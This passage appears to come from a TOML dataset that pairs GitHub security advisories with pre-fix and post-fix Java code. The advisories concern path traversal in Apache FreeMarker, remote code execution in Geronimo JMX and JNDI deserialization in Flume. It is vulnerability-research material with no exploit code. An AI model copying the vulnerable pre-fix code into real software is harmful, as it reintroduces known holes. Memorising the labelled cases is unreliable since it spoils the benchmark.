"GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "buildDebugName" +function_lines = [[329, 466]] +id = "apache-freemarker-eb9b0fff47e5400b" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" +post_fix = " ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n\n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n\n final long now = System.currentTimeMillis();\n\n long lastModified;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n\n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n }\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" +\n \"sourceEquals=false\" +\n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) +\n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else {\n LOG.debug(\"Updating source because: \" +\n \"lastModifiedNotChanged=\" + lastModifiedNotChanged +\n \", cached.lastModified=\" + cachedTemplate.lastModified +\n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n\n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n\n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n\n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified;\n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }\n" +pre_fix = " ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n \n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n \n final long now = System.currentTimeMillis();\n \n long lastModified = -1L;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n \n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n } \n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" + \n \"sourceEquals=\" + sourceEquals + \n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) + \n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else if (!lastModifiedNotChanged) {\n LOG.debug(\"Updating source because: \" + \n \"lastModifiedNotChanged=\" + lastModifiedNotChanged + \n \", cached.lastModified=\" + cachedTemplate.lastModified + \n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n \n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n \n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n \n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n \n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n \n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n \n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified; \n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }\n\n private static final Method INIT_CAUSE = getInitCauseMethod();\n " +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "equals" +function_lines = [[842, 854]] +id = "apache-freemarker-f10a2c2cfda93e16" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" +post_fix = " public boolean equals(Object o) {\n if (o instanceof TemplateKey) {\n TemplateKey tk = (TemplateKey) o;\n return\n parse == tk.parse &&\n name.equals(tk.name) &&\n locale.equals(tk.locale) &&\n Objects.equals(customLookupCondition, tk.customLookupCondition) &&\n encoding.equals(tk.encoding);\n }\n return false;\n }\n\n @Override" +pre_fix = " public boolean equals(Object o) {\n if (o instanceof TemplateKey) {\n TemplateKey tk = (TemplateKey) o;\n return\n parse == tk.parse &&\n name.equals(tk.name) &&\n locale.equals(tk.locale) &&\n nullSafeEquals(customLookupCondition, tk.customLookupCondition) &&\n encoding.equals(tk.encoding);\n }\n return false;\n }\n" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "setConfiguration" +function_lines = [[62, 78]] +id = "apache-freemarker-f5ba78c9c91de7a1" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateConfigurationFactory.java" +post_fix = " public final void setConfiguration(Configuration cfg) {\n if (this.cfg != null) {\n if (cfg != this.cfg) {\n throw new IllegalStateException(\n \"The TemplateConfigurationFactory is already bound to another Configuration\");\n }\n } else {\n this.cfg = cfg;\n setConfigurationOfChildren(cfg);\n }\n }\n\n /**\n * Returns the configuration this object belongs to, or {@code null} if it isn't yet bound to a\n * {@link Configuration}.\n */" +pre_fix = " public final void setConfiguration(Configuration cfg) {\n if (this.cfg != null) {\n if (cfg != this.cfg) {\n throw new IllegalStateException(\n \"The TemplateConfigurationFactory is already bound to another Configuration\");\n }\n return;\n } else {\n this.cfg = cfg;\n setConfigurationOfChildren(cfg);\n }\n }\n \n /**\n * Returns the configuration this object belongs to, or {@code null} if it isn't yet bound to a\n * {@link Configuration}.\n */" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "setUseCaches" +function_lines = [[138, 145]] +id = "apache-freemarker-f78f7186c5610790" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/URLTemplateSource.java" +post_fix = " void setUseCaches(boolean useCaches) {\n if (this.conn != null) {\n conn.setUseCaches(useCaches);\n this.useCaches = useCaches;\n }\n }\n \n}" +pre_fix = " void setUseCaches(boolean useCaches) {\n if (this.conn != null) {\n conn.setUseCaches(useCaches);\n this.useCaches = Boolean.valueOf(useCaches);\n }\n }\n \n}" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "AliasTemplateNumberFormatFactory" +function_lines = [[41, 64]] +id = "apache-freemarker-fabd1840fb3c1eed" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/core/AliasTemplateNumberFormatFactory.java" +post_fix = " public AliasTemplateNumberFormatFactory(String targetFormatString) {\n this(targetFormatString, null);\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}. Not {@code null}.\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings (maybe {@code null}). If the desired locale doesn't occur in the\n * map, a less specific locale is tried, repeatedly until only the language part remains. For example, if\n * locale is {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted until a match is\n * found, in this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the {@code targetFormatString}\n * will be used.\n */\n public AliasTemplateNumberFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n NullArgumentException.check(\"defaultTargetFormatString\", defaultTargetFormatString);\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n\n @Override" +pre_fix = " public AliasTemplateNumberFormatFactory(String targetFormatString) {\n this.defaultTargetFormatString = targetFormatString;\n localizedTargetFormatStrings = null;\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings. If the desired locale doesn't occur in the map, a less\n * specific locale is tried, repeatedly until only the language part remains. For example, if locale is\n * {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted untol a match is found, in\n * this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the\n * {@code targetFormatString} will be used.\n */\n public AliasTemplateNumberFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n\n @Override" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-v64w-96p6-fx7w" +advisory_text = "Apache Geronimo JMX Remoting functionality allows remote code execution in 3.x before v3.0.1\n\nThe JMX Remoting functionality in Apache Geronimo 3.x before 3.0.1, as used in IBM WebSphere Application Server (WAS) Community Edition 3.0.0.3 and other products, does not properly implement the RMI classloader, which allows remote attackers to execute arbitrary code by using the JMX connector to send a crafted serialized object." +commit = "ee031c5e62b0d358250d06c2aa6722518579a6c5" +cwe = "CWE-94" +family = "injection" +function = "doStart" +function_lines = [[188, 217]] +id = "apache-geronimo-0779e8a19c60e8ad" +language = "java" +method = "fix_site" +parent = "67b5e07bf00e01e690e825ee5674666e85e7e204" +path = "framework/modules/geronimo-jmx-remoting/src/main/java/org/apache/geronimo/jmxremoting/JMXConnector.java" +post_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Authenticator authenticator = null;\n Map env = new HashMap();\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n env.put(\"jmx.remote.x.access.file\", accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n RMIServerSocketFactory serverSocketFactory = new GeronimoRMIServerSocketFactory(host);\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, serverSocketFactory);\n \n server = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n \n ClassLoader oldCl = Thread.currentThread().getContextClassLoader();\n Thread.currentThread().setContextClassLoader(getClass().getClassLoader());\n try {\n server.start();\n } finally {\n Thread.currentThread().setContextClassLoader(oldCl);\n }\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n" +pre_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Authenticator authenticator = null;\n Map env = new HashMap();\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n\t env.put(\"jmx.remote.x.access.file\",accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n RMIServerSocketFactory serverSocketFactory = new GeronimoRMIServerSocketFactory(host);\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, serverSocketFactory);\n server = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n ClassLoader oldCl = Thread.currentThread().getContextClassLoader();\n Thread.currentThread().setContextClassLoader(classLoader);\n try {\n server.start();\n } finally {\n Thread.currentThread().setContextClassLoader(oldCl);\n }\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n" +repo = "apache/geronimo" +url = "https://github.com/apache/geronimo.git" + +[[case]] +advisory = "GHSA-v64w-96p6-fx7w" +advisory_text = "Apache Geronimo JMX Remoting functionality allows remote code execution in 3.x before v3.0.1\n\nThe JMX Remoting functionality in Apache Geronimo 3.x before 3.0.1, as used in IBM WebSphere Application Server (WAS) Community Edition 3.0.0.3 and other products, does not properly implement the RMI classloader, which allows remote attackers to execute arbitrary code by using the JMX connector to send a crafted serialized object." +commit = "ee031c5e62b0d358250d06c2aa6722518579a6c5" +cwe = "CWE-94" +family = "injection" +function = "doStart" +function_lines = [[135, 168]] +id = "apache-geronimo-469d656c92e703bc" +language = "java" +method = "fix_site" +parent = "67b5e07bf00e01e690e825ee5674666e85e7e204" +path = "framework/modules/geronimo-jmx-remoting/src/main/java/org/apache/geronimo/jmxremoting/JMXSecureConnector.java" +post_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Map env = new HashMap();\n Authenticator authenticator = null;\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n env.put(\"jmx.remote.x.access.file\", accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n \n SSLServerSocketFactory sssf = keystoreManager.createSSLServerFactory(null, secureProtocol, algorithm, keyStore, keyAlias, trustStore, classLoader);\n RMIServerSocketFactory rssf = new GeronimoSslRMIServerSocketFactory(sssf, host, clientAuth);\n RMIClientSocketFactory rcsf = new SslRMIClientSocketFactory();\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, rssf);\n env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, rcsf);\n \n server = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n \n ClassLoader oldCl = Thread.currentThread().getContextClassLoader();\n Thread.currentThread().setContextClassLoader(getClass().getClassLoader());\n try {\n server.start();\n } finally {\n Thread.currentThread().setContextClassLoader(oldCl);\n }\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n\n private static class GeronimoSslRMIServerSocketFactory implements RMIServerSocketFactory {\n private SSLServerSocketFactory sssf;\n private boolean clientAuth;\n private InetAddress bindAddress;\n " +pre_fix = " public void doStart() throws Exception {\n jmxServiceURL = new JMXServiceURL(protocol, host, port, urlPath);\n Map env = new HashMap();\n Authenticator authenticator = null;\n if (applicationConfigName != null) {\n authenticator = new Authenticator(applicationConfigName, classLoader);\n String accessconfig = serverInfo.resolveServerPath(\"var/security/jmx_access.properties\");\n\t env.put(\"jmx.remote.x.access.file\",accessconfig);\n env.put(JMXConnectorServer.AUTHENTICATOR, authenticator);\n } else {\n log.warn(\"Starting unauthenticating JMXConnector for \" + jmxServiceURL);\n }\n \n SSLServerSocketFactory sssf = keystoreManager.createSSLServerFactory(null, secureProtocol, algorithm, keyStore, keyAlias, trustStore, classLoader);\n RMIServerSocketFactory rssf = new GeronimoSslRMIServerSocketFactory(sssf, host, clientAuth);\n RMIClientSocketFactory rcsf = new SslRMIClientSocketFactory();\n env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, rssf);\n env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, rcsf);\n \n server = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, env, mbeanServer);\n NotificationFilterSupport filter = new NotificationFilterSupport();\n filter.enableType(JMXConnectionNotification.OPENED);\n filter.enableType(JMXConnectionNotification.CLOSED);\n filter.enableType(JMXConnectionNotification.FAILED);\n server.addNotificationListener(authenticator, filter, null);\n server.start();\n log.debug(\"Started JMXConnector \" + server.getAddress());\n }\n\n private static class GeronimoSslRMIServerSocketFactory implements RMIServerSocketFactory {\n private SSLServerSocketFactory sssf;\n private boolean clientAuth;\n private InetAddress bindAddress;\n " +repo = "apache/geronimo" +url = "https://github.com/apache/geronimo.git" + +[[case]] +advisory = "GHSA-9w4g-fp9h-3q2v" +advisory_text = "Apache Flume vulnerable to remote code execution via deserialization of unsafe providerURL\n\nFlume’s JMSSource class can be configured with a providerUrl parameter. A JNDI lookup is performed on this name without performing validation. This could result in untrusted data being deserialized, leading to remote code execution (RCE) attack when a configuration uses a JMS Source with an unsafe providerURL. This issue is fixed in version 1.11.0." +commit = "eee179a09df405c1ab55ae25a53b76ca1050bb97" +cwe = "CWE-502" +family = "deserialization" +function = "doProcess" +function_lines = [[299, 355]] +id = "apache-logging-flume-2f03541bca7f3237" +language = "java" +method = "fix_site" +parent = "34f372222248e2a1014c502b888e37f4c3d0f356" +path = "flume-ng-sources/flume-jms-source/src/main/java/org/apache/flume/source/jms/JMSSource.java" +post_fix = " protected synchronized Status doProcess() throws EventDeliveryException {\n boolean error = true;\n try {\n if (consumer == null) {\n consumer = createConsumer();\n }\n List events = consumer.take();\n int size = events.size();\n if (size == 0) {\n error = false;\n return Status.BACKOFF;\n }\n sourceCounter.incrementAppendBatchReceivedCount();\n sourceCounter.addToEventReceivedCount(size);\n getChannelProcessor().processEventBatch(events);\n error = false;\n sourceCounter.addToEventAcceptedCount(size);\n sourceCounter.incrementAppendBatchAcceptedCount();\n return Status.READY;\n } catch (ChannelException channelException) {\n logger.warn(\"Error appending event to channel. \"\n + \"Channel might be full. Consider increasing the channel \"\n + \"capacity or make sure the sinks perform faster.\", channelException);\n sourceCounter.incrementChannelWriteFail();\n } catch (JMSException jmsException) {\n logger.warn(\"JMSException consuming events\", jmsException);\n if (++jmsExceptionCounter > errorThreshold && consumer != null) {\n logger.warn(\"Exceeded JMSException threshold, closing consumer\");\n sourceCounter.incrementEventReadFail();\n consumer.rollback();\n consumer.close();\n consumer = null;\n }\n } catch (Throwable throwable) {\n logger.error(\"Unexpected error processing events\", throwable);\n sourceCounter.incrementEventReadFail();\n if (throwable instanceof Error) {\n throw (Error) throwable;\n }\n } finally {\n if (error) {\n if (consumer != null) {\n consumer.rollback();\n }\n } else {\n if (consumer != null) {\n consumer.commit();\n jmsExceptionCounter = 0;\n }\n }\n }\n return Status.BACKOFF;\n }\n\n @Override" +pre_fix = " protected synchronized Status doProcess() throws EventDeliveryException {\n boolean error = true;\n try {\n if (consumer == null) {\n consumer = createConsumer();\n }\n List events = consumer.take();\n int size = events.size();\n if (size == 0) {\n error = false;\n return Status.BACKOFF;\n }\n sourceCounter.incrementAppendBatchReceivedCount();\n sourceCounter.addToEventReceivedCount(size);\n getChannelProcessor().processEventBatch(events);\n error = false;\n sourceCounter.addToEventAcceptedCount(size);\n sourceCounter.incrementAppendBatchAcceptedCount();\n return Status.READY;\n } catch (ChannelException channelException) {\n logger.warn(\"Error appending event to channel. \"\n + \"Channel might be full. Consider increasing the channel \"\n + \"capacity or make sure the sinks perform faster.\", channelException);\n sourceCounter.incrementChannelWriteFail();\n } catch (JMSException jmsException) {\n logger.warn(\"JMSException consuming events\", jmsException);\n if (++jmsExceptionCounter > errorThreshold) {\n if (consumer != null) {\n logger.warn(\"Exceeded JMSException threshold, closing consumer\");\n sourceCounter.incrementEventReadFail();\n consumer.rollback();\n consumer.close();\n consumer = null;\n }\n }\n } catch (Throwable throwable) {\n logger.error(\"Unexpected error processing events\", throwable);\n sourceCounter.incrementEventReadFail();\n if 